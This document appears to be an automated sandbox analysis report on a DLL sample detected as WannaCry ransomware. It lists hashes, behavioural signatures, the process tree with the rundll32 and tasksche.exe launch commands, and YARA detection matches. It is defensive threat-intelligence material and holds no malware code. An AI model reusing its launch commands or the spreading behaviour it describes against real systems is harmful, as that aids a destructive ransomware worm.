Edit tour

Windows Analysis Report
IU28r0EZFA.dll

Overview

General Information

Sample Name:	IU28r0EZFA.dll
Analysis ID:	771978
MD5:	bdbe7281ce07de64716c546fcc643136
SHA1:	190cfdbe55603d7cb3dab330d036f5b233b8b900
SHA256:	253aef310a11a224df87179864270bb8c9faf4784b3d3a47a2c9bf34ad035a96
Tags:	dll
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Wannacry ransomware

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

Query firmware table information (likely to detect VMs)

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Drops executables to the windows directory (C:\Windows) and starts them

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for dropped file

Connects to many different private IPs via SMB (likely to spread or exploit)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Creates files inside the system directory

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Searches for user specific document files

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

File is packed with WinRar

Connects to several IPs in different countries

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5368 cmdline: loaddll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll" MD5: 1F562FBF37040EC6C43C8D5EF619EA39)

conhost.exe (PID: 5372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5516 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5416 cmdline: rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 5412 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 727563948E9A258D34E604AC7819FC00)

tasksche.exe (PID: 3200 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 84806E27AD3982217395D30B692077FC)

rundll32.exe (PID: 5500 cmdline: rundll32.exe C:\Users\user\Desktop\IU28r0EZFA.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1972 cmdline: rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 5940 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 727563948E9A258D34E604AC7819FC00)

tasksche.exe (PID: 4652 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 84806E27AD3982217395D30B692077FC)

mssecsvr.exe (PID: 4764 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 727563948E9A258D34E604AC7819FC00)

svchost.exe (PID: 2224 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3340 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1576 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 3244 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 4112 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3868 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4572 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 3096 cmdline: c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
IU28r0EZFA.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x353d0:$x3: tasksche.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
IU28r0EZFA.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.256853594.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.258546665.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.250545715.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.251058455.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.259116711.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.252370935.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000002.781421602.00000000023C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000002.779909351.0000000001E99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000005.00000000.253622528.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.265323561.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.257654724.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000000.258739845.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 5412	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 5940	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 4764	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.mssecsvr.exe.23b58c8.7.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.1e8a084.2.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.1e99104.5.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x222ec:$x3: tasksche.exe 0x222c4:$x8: C:\%s\qeriuwjhrf 0x82b8:$s1: C:\%s\%s 0x222d8:$s1: C:\%s\%s 0x1f60c:$s5: \\192.168.56.20\IPC$ 0xca01:$s6: \\172.16.99.5\IPC$
8.2.mssecsvr.exe.1e99104.5.raw.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0xca4c:$s1: __TREEID__PLACEHOLDER__ 0xcae8:$s1: __TREEID__PLACEHOLDER__ 0xd354:$s1: __TREEID__PLACEHOLDER__ 0xe3b9:$s1: __TREEID__PLACEHOLDER__ 0xf420:$s1: __TREEID__PLACEHOLDER__ 0x10488:$s1: __TREEID__PLACEHOLDER__ 0x114f0:$s1: __TREEID__PLACEHOLDER__ 0x12558:$s1: __TREEID__PLACEHOLDER__ 0x135c0:$s1: __TREEID__PLACEHOLDER__ 0x14628:$s1: __TREEID__PLACEHOLDER__ 0x15690:$s1: __TREEID__PLACEHOLDER__ 0x166f8:$s1: __TREEID__PLACEHOLDER__ 0x17760:$s1: __TREEID__PLACEHOLDER__ 0x187c8:$s1: __TREEID__PLACEHOLDER__ 0x19830:$s1: __TREEID__PLACEHOLDER__ 0x1a898:$s1: __TREEID__PLACEHOLDER__ 0x1b900:$s1: __TREEID__PLACEHOLDER__ 0x1bb14:$s1: __TREEID__PLACEHOLDER__ 0x1bb74:$s1: __TREEID__PLACEHOLDER__ 0x1f244:$s1: __TREEID__PLACEHOLDER__ 0x1f2c0:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.1e99104.5.raw.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.1e8a084.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.1e8a084.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.1e8a084.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.23c4948.8.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x222ec:$x3: tasksche.exe 0x222c4:$x8: C:\%s\qeriuwjhrf 0x82b8:$s1: C:\%s\%s 0x222d8:$s1: C:\%s\%s 0x1f60c:$s5: \\192.168.56.20\IPC$ 0xca01:$s6: \\172.16.99.5\IPC$
8.2.mssecsvr.exe.23c4948.8.raw.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0xca4c:$s1: __TREEID__PLACEHOLDER__ 0xcae8:$s1: __TREEID__PLACEHOLDER__ 0xd354:$s1: __TREEID__PLACEHOLDER__ 0xe3b9:$s1: __TREEID__PLACEHOLDER__ 0xf420:$s1: __TREEID__PLACEHOLDER__ 0x10488:$s1: __TREEID__PLACEHOLDER__ 0x114f0:$s1: __TREEID__PLACEHOLDER__ 0x12558:$s1: __TREEID__PLACEHOLDER__ 0x135c0:$s1: __TREEID__PLACEHOLDER__ 0x14628:$s1: __TREEID__PLACEHOLDER__ 0x15690:$s1: __TREEID__PLACEHOLDER__ 0x166f8:$s1: __TREEID__PLACEHOLDER__ 0x17760:$s1: __TREEID__PLACEHOLDER__ 0x187c8:$s1: __TREEID__PLACEHOLDER__ 0x19830:$s1: __TREEID__PLACEHOLDER__ 0x1a898:$s1: __TREEID__PLACEHOLDER__ 0x1b900:$s1: __TREEID__PLACEHOLDER__ 0x1bb14:$s1: __TREEID__PLACEHOLDER__ 0x1bb74:$s1: __TREEID__PLACEHOLDER__ 0x1f244:$s1: __TREEID__PLACEHOLDER__ 0x1f2c0:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.23c4948.8.raw.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.23b58c8.7.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.23b58c8.7.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.23b58c8.7.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
